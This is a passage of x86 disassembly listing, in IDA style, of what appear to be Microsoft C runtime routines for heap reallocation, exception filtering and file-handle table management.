jz short loc_4319DF
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_431A84
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_42B450
jmp short loc_4319FE
; ---------------------------------------------------------------------------
loc_4319DF: ; CODE XREF: sub_431859+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_431A84
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_42B449
jmp short loc_4319FE
; ---------------------------------------------------------------------------
loc_4319F9: ; CODE XREF: sub_431859+6Aj
; sub_431859+7Cj ...
call sub_431B5D
loc_4319FE: ; CODE XREF: sub_431859+98j
; sub_431859+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_431A02: ; CODE XREF: sub_431859+2Ej
; sub_431859+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_431859 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_431AFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A1D proc near ; CODE XREF: sub_43132B+17Cp
; sub_4317E1+46p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4376F8
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_431A64
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_431A64
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_42B449
or [ebp+var_4], 0FFFFFFFFh
loc_431A64: ; CODE XREF: sub_431A1D+2Aj
; sub_431A1D+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_431A1D endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_431AFC
; =============== S U B R O U T I N E =======================================
sub_431A84 proc near ; CODE XREF: sub_431859+8Fp
; sub_431859+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_431AA5
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_431AA5: ; CODE XREF: sub_431A84+12j
pop esi
retn
sub_431A84 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431AB0 proc near ; CODE XREF: sub_42B4DC+40p
; sub_4315E5+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_42ACC9
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_431AEF
mov ecx, 2
loc_431AEF: ; CODE XREF: sub_431AB0+38j
push ecx
call sub_42ACC9
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_431AB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431AFC proc near ; CODE XREF: sub_43132B:loc_4314D9j
; sub_431683:loc_431694j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00434C47 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437708
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
mov [ebp+var_4], esi
call sub_42E41E
cmp [eax+60h], esi
jz short loc_431B4F
mov [ebp+var_4], 1
call sub_42E41E
call dword ptr [eax+60h]
mov [ebp+var_4], esi
jmp short loc_431B4F
; ---------------------------------------------------------------------------
loc_431B44: ; DATA XREF: ?9:00437718o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_431B48: ; DATA XREF: ?9:0043771Co
mov esp, [ebp+var_18]
and [ebp+var_4], 0
loc_431B4F: ; CODE XREF: sub_431AFC+32j
; sub_431AFC+46j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_431B58: ; DATA XREF: ?9:00437710o
jmp loc_434C47
sub_431AFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431B5D proc near ; CODE XREF: sub_42B680+23p
; sub_42B680:loc_42B6EBp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437720
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_4538C0
test eax, eax
jz short loc_431BA5
mov [ebp+var_4], 1
call eax ; sub_431AFC
jmp short loc_431BA1
; ---------------------------------------------------------------------------
loc_431B9A: ; DATA XREF: ?9:00437730o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_431B9E: ; DATA XREF: ?9:00437734o
mov esp, [ebp+var_18]
loc_431BA1: ; CODE XREF: sub_431B5D+3Bj
and [ebp+var_4], 0
loc_431BA5: ; CODE XREF: sub_431B5D+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_431BAE: ; DATA XREF: ?9:00437728o
jmp sub_431AFC
sub_431B5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431BB3 proc near ; CODE XREF: sub_42B71B+39p
; sub_435CBD+EDp ...
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00431D47 SIZE 0000013F BYTES
; FUNCTION CHUNK AT 00431E97 SIZE 0000004B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437738
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
xor edi, edi
cmp ebx, edi
jnz short loc_431BED
push [ebp+arg_4]
call sub_4296E8
pop ecx
jmp loc_431ED3
; ---------------------------------------------------------------------------
loc_431BED: ; CODE XREF: sub_431BB3+2Aj
mov esi, [ebp+arg_4]
cmp esi, edi
jnz short loc_431C00
push ebx
call sub_429822
pop ecx
jmp loc_431ED1
; ---------------------------------------------------------------------------
loc_431C00: ; CODE XREF: sub_431BB3+3Fj
mov eax, dword_676FE4
cmp eax, 3
jnz loc_431D47
loc_431C0E: ; CODE XREF: sub_431BB3+178j
mov [ebp+var_24], edi
cmp esi, 0FFFFFFE0h
ja loc_431D0B
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], edi
push ebx
call sub_42C82A
pop ecx
mov [ebp+var_28], eax
cmp eax, edi
jz loc_431CDB
cmp esi, dword_676FDC
ja short loc_431C8B
push esi
push ebx
push eax
call sub_42D033
add esp, 0Ch
test eax, eax
jz short loc_431C53
mov [ebp+var_24], ebx
jmp short loc_431C8B
; ---------------------------------------------------------------------------
loc_431C53: ; CODE XREF: sub_431BB3+99j
push esi
call sub_42CB7E
pop ecx
mov [ebp+var_24], eax
cmp eax, edi
jz short loc_431C8B
mov eax, [ebx-4]
dec eax
mov [ebp+var_20], eax
cmp eax, esi
jb short loc_431C6E
mov eax, esi
loc_431C6E: ; CODE XREF: sub_431BB3+B7j
push eax
push ebx
push [ebp+var_24]
call sub_429350
push ebx
call sub_42C82A
mov [ebp+var_28], eax
push ebx
push eax
call sub_42C855
add esp, 18h
loc_431C8B: ; CODE XREF: sub_431BB3+8Aj
; sub_431BB3+9Ej ...
cmp [ebp+var_24], edi
jnz short loc_431CDB
cmp esi, edi
jnz short loc_431C9A
push 1
pop esi
mov [ebp+arg_4], esi
loc_431C9A: ; CODE XREF: sub_431BB3+DFj
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push edi
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
mov [ebp+var_24], eax
cmp eax, edi
jz short loc_431CDB
mov eax, [ebx-4]
dec eax
mov [ebp+var_20], eax
cmp eax, esi
jb short loc_431CC5
mov eax, esi
loc_431CC5: ; CODE XREF: sub_431BB3+10Ej
push eax
push ebx
push [ebp+var_24]
call sub_429350
push ebx
push [ebp+var_28]
call sub_42C855
add esp, 14h
loc_431CDB: ; CODE XREF: sub_431BB3+7Ej
; sub_431BB3+DBj ...
or [ebp+var_4], 0FFFFFFFFh
call sub_431D3E
cmp [ebp+var_28], edi
jnz short loc_431D0B
cmp esi, edi
jnz short loc_431CF0
push 1
pop esi
loc_431CF0: ; CODE XREF: sub_431BB3+138j
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push ebx
push edi
push dword_676FE0
call dword_43715C ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_431D0B: ; CODE XREF: sub_431BB3+61j
; sub_431BB3+134j
mov eax, [ebp+var_24]
cmp eax, edi
jnz loc_431ED3
cmp dword_676910, edi
jz loc_431ED3
push esi
call sub_42C5F5
pop ecx
test eax, eax
jnz loc_431C0E
jmp loc_431ED1
sub_431BB3 endp
; =============== S U B R O U T I N E =======================================
sub_431D36 proc near ; DATA XREF: ?9:00437740o
mov esi, [ebp+0Ch]
mov ebx, [ebp+8]
xor edi, edi
sub_431D36 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431D3E proc near ; CODE XREF: sub_431BB3+12Cp
push 9
call sub_42DA80
pop ecx
retn
sub_431D3E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431BB3
loc_431D47: ; CODE XREF: sub_431BB3+55j
cmp eax, 2
jnz loc_431E97
cmp esi, 0FFFFFFE0h
ja short loc_431D67
cmp esi, edi
jbe short loc_431D61
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_431D64
; ---------------------------------------------------------------------------
loc_431D61: ; CODE XREF: sub_431BB3+1A4j
push 10h
pop esi
loc_431D64: ; CODE XREF: sub_431BB3+1ACj
mov [ebp+arg_4], esi
loc_431D67: ; CODE XREF: sub_431BB3+1A0j
; sub_431BB3+2CBj
mov [ebp+var_24], edi
cmp esi, 0FFFFFFE0h
ja loc_431E66
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_38]
push eax
push ebx
call sub_42D585
add esp, 0Ch
mov edi, eax
mov [ebp+var_30], edi
test edi, edi
jz loc_431E4A
cmp esi, dword_453154
jnb short loc_431E04
mov ebx, esi
shr ebx, 4
push ebx
push edi
push [ebp+var_2C]
push [ebp+var_38]
call sub_42D94D
add esp, 10h
test eax, eax
jz short loc_431DC9
mov eax, [ebp+arg_0]
mov [ebp+var_24], eax
jmp short loc_431E01
; ---------------------------------------------------------------------------
loc_431DC9: ; CODE XREF: sub_431BB3+20Cj
push ebx
call sub_42D621
pop ecx
mov [ebp+var_24], eax
test eax, eax
jz short loc_431E01
movzx eax, byte ptr [edi]
shl eax, 4
mov [ebp+var_34], eax
cmp eax, esi
jb short loc_431DE6
mov eax, esi
loc_431DE6: ; CODE XREF: sub_431BB3+22Fj
push eax
push [ebp+arg_0]
push [ebp+var_24]
call sub_429350
push edi
push [ebp+var_2C]
push [ebp+var_38]
call sub_42D5DC
add esp, 18h
loc_431E01: ; CODE XREF: sub_431BB3+214j
; sub_431BB3+222j
mov ebx, [ebp+arg_0]
loc_431E04: ; CODE XREF: sub_431BB3+1F3j
cmp [ebp+var_24], 0
jnz short loc_431E5D
push esi
push 0
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
mov [ebp+var_24], eax
test eax, eax
jz short loc_431E5D
movzx eax, byte ptr [edi]
shl eax, 4
mov [ebp+var_34], eax
cmp eax, esi
jb short loc_431E2F
mov eax, esi
loc_431E2F: ; CODE XREF: sub_431BB3+278j
push eax
push ebx
push [ebp+var_24]
call sub_429350
push edi
push [ebp+var_2C]
push [ebp+var_38]
call sub_42D5DC
add esp, 18h
jmp short loc_431E5D
; ---------------------------------------------------------------------------
loc_431E4A: ; CODE XREF: sub_431BB3+1E7j
push esi
push ebx
push 0
push dword_676FE0
call dword_43715C ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_431E5D: ; CODE XREF: sub_431BB3+255j
; sub_431BB3+26Bj ...
or [ebp+var_4], 0FFFFFFFFh
call sub_431E8C
loc_431E66: ; CODE XREF: sub_431BB3+1BAj
mov eax, [ebp+var_24]
cmp eax, edi
jnz short loc_431ED3
cmp dword_676910, edi
jz short loc_431ED3
push esi
call sub_42C5F5
pop ecx
test eax, eax
jnz loc_431D67
jmp short loc_431ED1
; END OF FUNCTION CHUNK FOR sub_431BB3
; =============== S U B R O U T I N E =======================================
sub_431E86 proc near ; DATA XREF: ?9:0043774Co
mov esi, [ebp+0Ch]
mov ebx, [ebp+8]
sub_431E86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E8C proc near ; CODE XREF: sub_431BB3+2AEp
push 9
call sub_42DA80
pop ecx
xor edi, edi
retn
sub_431E8C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431BB3
loc_431E97: ; CODE XREF: sub_431BB3+197j
; sub_431BB3+31Cj
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_431EBA
cmp esi, edi
jnz short loc_431EA5
push 1
pop esi
loc_431EA5: ; CODE XREF: sub_431BB3+2EDj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push edi
push dword_676FE0
call dword_43715C ; RtlReAllocateHeap
loc_431EBA: ; CODE XREF: sub_431BB3+2E9j
cmp eax, edi
jnz short loc_431ED3
cmp dword_676910, edi
jz short loc_431ED3
push esi
call sub_42C5F5
pop ecx
test eax, eax
jnz short loc_431E97
loc_431ED1: ; CODE XREF: sub_431BB3+48j
; sub_431BB3+17Ej ...
xor eax, eax
loc_431ED3: ; CODE XREF: sub_431BB3+35j
; sub_431BB3+15Dj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_431BB3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431EE2 proc near ; CODE XREF: sub_42B71B+Cp
; sub_42B71B+2Ap
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00431F55 SIZE 0000006F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437750
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov eax, dword_676FE4
cmp eax, 3
jnz short loc_431F55
push 9
call sub_42DA1F
pop ecx
and [ebp+var_4], 0
mov esi, [ebp+arg_0]
push esi
call sub_42C82A
pop ecx
mov [ebp+var_1C], eax
test eax, eax
jz short loc_431F37
mov esi, [esi-4]
sub esi, 9
mov [ebp+var_20], esi
jmp short loc_431F3A
; ---------------------------------------------------------------------------
loc_431F37: ; CODE XREF: sub_431EE2+48j
mov esi, [ebp+var_20]
loc_431F3A: ; CODE XREF: sub_431EE2+53j
or [ebp+var_4], 0FFFFFFFFh
call sub_431F4C
cmp [ebp+var_1C], 0
jmp short loc_431F9E
sub_431EE2 endp
; =============== S U B R O U T I N E =======================================
sub_431F49 proc near ; DATA XREF: ?9:00437758o
mov esi, [ebp-20h]
sub_431F49 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431F4C proc near ; CODE XREF: sub_431EE2+5Cp
push 9
call sub_42DA80
pop ecx
retn
sub_431F4C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431EE2
loc_431F55: ; CODE XREF: sub_431EE2+2Bj
cmp eax, 2
jnz short loc_431FA0
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
push [ebp+arg_0]
call sub_42D585
add esp, 0Ch
mov [ebp+var_28], eax
test eax, eax
jz short loc_431F8E
movzx esi, byte ptr [eax]
shl esi, 4
mov [ebp+var_20], esi
jmp short loc_431F91
; ---------------------------------------------------------------------------
loc_431F8E: ; CODE XREF: sub_431EE2+9Fj
mov esi, [ebp+var_20]
loc_431F91: ; CODE XREF: sub_431EE2+AAj
or [ebp+var_4], 0FFFFFFFFh
call sub_431FC7
cmp [ebp+var_28], 0
loc_431F9E: ; CODE XREF: sub_431EE2+65j
jnz short loc_431FB3
loc_431FA0: ; CODE XREF: sub_431EE2+76j
push [ebp+arg_0]
push 0
push dword_676FE0
call dword_4371E0 ; RtlSizeHeap
mov esi, eax
loc_431FB3: ; CODE XREF: sub_431EE2:loc_431F9Ej
mov eax, esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_431EE2
; =============== S U B R O U T I N E =======================================
sub_431FC4 proc near ; DATA XREF: ?9:00437764o
mov esi, [ebp-20h]
sub_431FC4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431FC7 proc near ; CODE XREF: sub_431EE2+B3p
push 9
call sub_42DA80
pop ecx
retn
sub_431FC7 endp
; =============== S U B R O U T I N E =======================================
sub_431FD0 proc near ; DATA XREF: sub_432016o ?9:00450E70o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_431FF3
cmp dword ptr [eax+10h], 3
jnz short loc_431FF3
cmp dword ptr [eax+14h], 19930520h
jnz short loc_431FF3
jmp sub_431AFC
; ---------------------------------------------------------------------------
loc_431FF3: ; CODE XREF: sub_431FD0+Dj
; sub_431FD0+13j ...
mov eax, dword_6769F4
test eax, eax
jz short loc_432010
push eax
call sub_434C2F
test eax, eax
pop ecx
jz short loc_432010
push esi
call dword_6769F4
jmp short loc_432012
; ---------------------------------------------------------------------------
loc_432010: ; CODE XREF: sub_431FD0+2Aj
; sub_431FD0+35j
xor eax, eax
loc_432012: ; CODE XREF: sub_431FD0+3Ej
pop esi
retn 4
sub_431FD0 endp
; =============== S U B R O U T I N E =======================================
sub_432016 proc near ; DATA XREF: ?9:0043A024o
push offset sub_431FD0
call dword_4371DC ; SetUnhandledExceptionFilter
mov dword_6769F4, eax
retn
sub_432016 endp
; =============== S U B R O U T I N E =======================================
sub_432027 proc near ; DATA XREF: ?9:0043A03Co
push dword_6769F4
call dword_4371DC ; SetUnhandledExceptionFilter
retn
sub_432027 endp
; =============== S U B R O U T I N E =======================================
sub_432034 proc near ; CODE XREF: sub_42BDE8+11p
; sub_42C00C+Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_433167
test eax, eax
pop ecx
jz short loc_4320BD
cmp esi, offset dword_450EC0
jnz short loc_432052
xor eax, eax
jmp short loc_43205D
; ---------------------------------------------------------------------------
loc_432052: ; CODE XREF: sub_432034+18j
cmp esi, offset dword_450EE0
jnz short loc_4320BD
push 1
pop eax
loc_43205D: ; CODE XREF: sub_432034+1Cj
inc dword_676900
test word ptr [esi+0Ch], 10Ch
jnz short loc_4320BD
cmp dword_6769F8[eax*4], 0
push ebx
push edi
lea edi, ds:6769F8h[eax*4]
mov ebx, 1000h
jnz short loc_4320A3
push ebx
call sub_4296E8
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4320A3
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4320B0
; ---------------------------------------------------------------------------
loc_4320A3: ; CODE XREF: sub_432034+4Dj
; sub_432034+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4320B0: ; CODE XREF: sub_432034+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4320BD: ; CODE XREF: sub_432034+10j
; sub_432034+24j ...
xor eax, eax
pop esi
retn
sub_432034 endp
; =============== S U B R O U T I N E =======================================
sub_4320C1 proc near ; CODE XREF: sub_42BDE8+2Bp
; sub_42C00C+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4320E9
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_4320E9
push esi
call sub_42F209
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
loc_4320E9: ; CODE XREF: sub_4320C1+6j
; sub_4320C1+10j
pop esi
retn
sub_4320C1 endp
; =============== S U B R O U T I N E =======================================
sub_4320EB proc near ; CODE XREF: sub_4335E9:loc_433761p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push 12h
or edi, 0FFFFFFFFh
call sub_42DA1F
xor ebx, ebx
pop ecx
mov [esp+18h+var_8], ebx
mov [esp+18h+var_4], ebx
mov ebp, offset dword_676EC0
loc_43210B: ; CODE XREF: sub_4320EB+BCj
mov esi, [ebp+0]
test esi, esi
jz loc_4321AF
lea eax, [esi+480h]
loc_43211C: ; CODE XREF: sub_4320EB+8Aj
cmp esi, eax
jnb short loc_432194
test byte ptr [esi+4], 1
jnz short loc_43216A
cmp dword ptr [esi+8], 0
jnz short loc_43214F
push 11h
call sub_42DA1F
cmp dword ptr [esi+8], 0
pop ecx
jnz short loc_432147
lea eax, [esi+0Ch]
push eax
call dword_437154 ; InitializeCriticalSection
inc dword ptr [esi+8]
loc_432147: ; CODE XREF: sub_4320EB+4Dj
push 11h
call sub_42DA80
pop ecx
loc_43214F: ; CODE XREF: sub_4320EB+3Fj
lea ebx, [esi+0Ch]
push ebx
call dword_4370C8 ; RtlEnterCriticalSection
test byte ptr [esi+4], 1
jz short loc_432177
push ebx
call dword_437160 ; RtlLeaveCriticalSection
mov ebx, [esp+18h+var_8]
loc_43216A: ; CODE XREF: sub_4320EB+39j
mov eax, [ebp+0]
add esi, 24h
add eax, 480h
jmp short loc_43211C
; ---------------------------------------------------------------------------
loc_432177: ; CODE XREF: sub_4320EB+72j
or dword ptr [esi], 0FFFFFFFFh
mov eax, esi
sub eax, [ebp+0]
push 24h
pop ecx
cdq
idiv ecx
mov edi, eax
add edi, [esp+18h+var_4]
cmp edi, 0FFFFFFFFh
jnz short loc_4321FD
mov ebx, [esp+18h+var_8]
loc_432194: ; CODE XREF: sub_4320EB+33j
add [esp+18h+var_4], 20h
add ebp, 4
inc ebx
cmp ebp, offset dword_676FC0
mov [esp+18h+var_8], ebx
jl loc_43210B
jmp short loc_4321FD
; ---------------------------------------------------------------------------
loc_4321AF: ; CODE XREF: sub_4320EB+25j
mov esi, 480h
push esi
call sub_4296E8
test eax, eax
pop ecx
jz short loc_4321FD
add dword_676FC0, 20h
lea ecx, ds:676EC0h[ebx*4]
lea edx, [eax+480h]
mov [ecx], eax
loc_4321D5: ; CODE XREF: sub_4320EB+104j
cmp eax, edx
jnb short loc_4321F1
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
and dword ptr [eax+8], 0
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 24h
add edx, esi
jmp short loc_4321D5
; ---------------------------------------------------------------------------
loc_4321F1: ; CODE XREF: sub_4320EB+ECj
shl ebx, 5
mov edi, ebx
push edi
call sub_43234B
pop ecx
loc_4321FD: ; CODE XREF: sub_4320EB+A3j
; sub_4320EB+C2j ...
push 12h
call sub_42DA80
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4320EB endp
; =============== S U B R O U T I N E =======================================
sub_43220E proc near ; CODE XREF: sub_4335E9+1FDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_676FC0
push edi
jnb short loc_432271
mov eax, ecx
sar eax, 5
lea edi, ds:676EC0h[eax*4]
mov eax, ecx
and eax, 1Fh
lea esi, [eax+eax*8]
mov eax, [edi]
shl esi, 2
cmp dword ptr [eax+esi], 0FFFFFFFFh
jnz short loc_432271
cmp dword_451124, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_432267
sub ecx, 0
jz short loc_43225E
dec ecx
jz short loc_432259
dec ecx
jnz short loc_432267
push ebx
push 0FFFFFFF4h
jmp short loc_432261
; ---------------------------------------------------------------------------
loc_432259: ; CODE XREF: sub_43220E+41j
push ebx
push 0FFFFFFF5h
jmp short loc_432261
; ---------------------------------------------------------------------------
loc_43225E: ; CODE XREF: sub_43220E+3Ej
push ebx
push 0FFFFFFF6h
loc_432261: ; CODE XREF: sub_43220E+49j
; sub_43220E+4Ej
call dword_4371D8 ; SetStdHandle
loc_432267: ; CODE XREF: sub_43220E+39j
; sub_43220E+44j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_432287
; ---------------------------------------------------------------------------
loc_432271: ; CODE XREF: sub_43220E+Cj
; sub_43220E+2Bj
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_432287: ; CODE XREF: sub_43220E+61j
pop edi
pop esi
retn
sub_43220E endp
; =============== S U B R O U T I N E =======================================
sub_43228A proc near ; CODE XREF: sub_42F12D+51p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_676FC0
push edi
jnb short loc_4322F0
mov eax, ecx
sar eax, 5
lea edi, ds:676EC0h[eax*4]
mov eax, ecx
and eax, 1Fh
lea esi, [eax+eax*8]
mov eax, [edi]
shl esi, 2
add eax, esi
test byte ptr [eax+4], 1
jz short loc_4322F0
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4322F0
cmp dword_451124, 1
jnz short loc_4322E6
xor eax, eax
sub ecx, eax
jz short loc_4322DD
dec ecx
jz short loc_4322D8
dec ecx
jnz short loc_4322E6
push eax
push 0FFFFFFF4h
jmp short loc_4322E0
; ---------------------------------------------------------------------------
loc_4322D8: ; CODE XREF: sub_43228A+44j
push eax
push 0FFFFFFF5h
jmp short loc_4322E0
; ---------------------------------------------------------------------------
loc_4322DD: ; CODE XREF: sub_43228A+41j
push eax
push 0FFFFFFF6h
loc_4322E0: ; CODE XREF: sub_43228A+4Cj
; sub_43228A+51j
call dword_4371D8 ; SetStdHandle
loc_4322E6: ; CODE XREF: sub_43228A+3Bj
; sub_43228A+47j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_432306
; ---------------------------------------------------------------------------
loc_4322F0: ; CODE XREF: sub_43228A+Cj
; sub_43228A+2Dj ...
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_432306: ; CODE XREF: sub_43228A+64j
pop edi
pop esi
retn
sub_43228A endp
; =============== S U B R O U T I N E =======================================
sub_432309 proc near ; CODE XREF: sub_42F12D+7p
; sub_42F12D+1Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_676FC0
jnb short loc_432334
mov ecx, eax
and eax, 1Fh
sar ecx, 5
lea eax, [eax+eax*8]
mov ecx, dword_676EC0[ecx*4]
test byte ptr [ecx+eax*4+4], 1
lea eax, [ecx+eax*4]
jz short loc_432334
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_432334: ; CODE XREF: sub_432309+Aj
; sub_432309+26j
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
retn
sub_432309 endp
; =============== S U B R O U T I N E =======================================
sub_43234B proc near ; CODE XREF: sub_42BE29+6p
; sub_42F0D0+2Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
mov ecx, eax
and eax, 1Fh
sar ecx, 5
push esi
push edi
mov esi, dword_676EC0[ecx*4]
lea ebx, ds:676EC0h[ecx*4]
lea edi, [eax+eax*8]
shl edi, 2
add esi, edi
cmp dword ptr [esi+8], 0
jnz short loc_432399
push 11h
call sub_42DA1F
cmp dword ptr [esi+8], 0
pop ecx
jnz short loc_432391
lea eax, [esi+0Ch]
push eax
call dword_437154 ; InitializeCriticalSection
inc dword ptr [esi+8]
loc_432391: ; CODE XREF: sub_43234B+37j
push 11h
call sub_42DA80
pop ecx
loc_432399: ; CODE XREF: sub_43234B+29j
mov eax, [ebx]
lea eax, [eax+edi+0Ch]
push eax
